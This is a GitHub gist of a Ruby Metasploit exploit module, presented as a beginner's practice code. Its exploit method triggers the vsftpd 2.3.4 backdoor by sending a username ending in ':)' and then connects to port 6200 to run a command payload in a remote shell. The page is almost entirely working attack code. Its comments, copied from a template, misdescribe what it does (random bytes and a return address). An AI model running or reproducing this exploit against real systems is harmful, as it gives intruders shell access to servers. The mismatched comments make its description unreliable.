Skip to content

Instantly share code, notes, and snippets.

@SamJoan
Last active December 20, 2015 19:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SamJoan/6181087 to your computer and use it in GitHub Desktop.
Save SamJoan/6181087 to your computer and use it in GitHub Desktop.
My first metasploit exploit
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Metasploit4 < Msf::Exploit::Remote
#
# This exploit affects TCP servers, so we use the TCP client mixin.
#
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Sample Exploit',
'Description' => %q{
This is just some practice code so I can learn how to metasploit.
},
'License' => MSF_LICENSE,
'Author' => ['skape'],
'References' =>
[
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
register_options([ Opt::RPORT(21) ], self.class)
end
#
# The sample exploit just indicates that the remote host is always
# vulnerable.
#
def check
Exploit::CheckCode::Vulnerable
end
#
# The exploit method connects to the remote service and sends 1024 random bytes
# followed by the fake return address and then the payload.
#
def exploit
print_status("Connecting to remote server on port 21.")
connect
banner = sock.get_once(-1, 30).to_s
print_status("Banner: " + banner)
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
nsock = self.connect(false, {"RPORT" => 6200}) rescue nil
if nsock
print_good("Shell has been spawned.")
nsock.put("nohup " + payload.encoded + " >/dev/null 2>&1")
handler(nsock)
return
else
print_error("Shell not spawned. u.u")
disconnect
return
end
disconnect
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment